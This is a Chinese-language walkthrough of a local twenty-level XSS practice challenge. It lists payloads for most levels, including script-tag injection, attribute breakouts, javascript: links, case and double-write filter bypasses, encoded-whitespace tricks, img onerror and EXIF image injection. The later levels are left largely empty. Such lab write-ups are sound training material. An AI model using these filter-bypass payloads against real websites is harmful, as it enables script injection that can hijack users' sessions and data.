XSS挑战20关

第一关:

没有过滤,直接构造payload过关:

http://127.0.0.1/xssgame/level1.php?name=test%3Cscript%3Ealert%28111%29%3C/script%3E

XSS挑战20关

第二关:

输入之后观察页面源代码可以看到<>被转义

XSS挑战20关

Payload:?keyword=test"><script>alert(111)</script>

XSS挑战20关

第三关:

输入之后查看源代码发现输出位置都被转义:

XSS挑战20关

然后通过‘和//闭合,用‘ onclick=javascript:alert(1)//

XSS挑战20关

?

第四关

闭合方式不同:

"onclick=javascript:alert(1)//

XSS挑战20关

第五关:

使用onclick和script标签会被加上_过滤

XSS挑战20关

XSS挑战20关

使用a标签payload:"><a href="javascript:alert(‘a‘)">1</a >//

XSS挑战20关

?

第六关:

Herf也被加上了_转义

XSS挑战20关

可以大小写绕过"><a href="javascript:alert(‘a‘)">1</a >//

XSS挑战20关

?

第七关:

被过滤:

XSS挑战20关

双写绕过:

"><scriscriptpt>alert(111)</scscriptript>//

XSS挑战20关

第八关:

发现有两处输出位置,第二处输出在了 a 标签 href 属性中,此处构造 payload,需要考 虑在 a 标签内,并绕过敏感字符。因为关键字符被做了替换,包括 script\herf\src\on\等, 大小写也不行。

XSS挑战20关

这里尝试构造特殊的字符处理,就是在关键词中添加特殊的制表符,例如%0A,%09

注意是在url中,在浏览器中输入会进行编码

XSS挑战20关

?

第九关

这一关多了对链接是否加http://的检查

Payload:javasc%0aript:alert(1)//http://aaa.com

XSS挑战20关

?

第十关:

有隐藏的表单

XSS挑战20关

XSS挑战20关

也可以通过抓包修改页面源代码

?

第十一关:

方法相同

XSS挑战20关

XSS挑战20关

?

第十二关:

?

XSS挑战20关

XSS挑战20关

?

第十三关:

XSS挑战20关

XSS挑战20关

?

第十四关:
利用exiftool改变图片的exif信息

上传一个含有xss代码的图片触发xss

在读取的时候就会导致 XSS

?

第十五关:

level15.php?src=‘level1.php‘level1.php?name=test<img src=1 onerror=alert(1)>‘

XSS挑战20关

XSS挑战20关

?

第十六关:

?keyword=test<img%0Dsrc="1"%0Donerror=alert(1)>

?

XSS挑战20关
第十七关:

?

XSS挑战20关

?

第十八关:

XSS挑战20关

?

第十九关:

XSS挑战20关

?

第二十关:
XSS挑战20关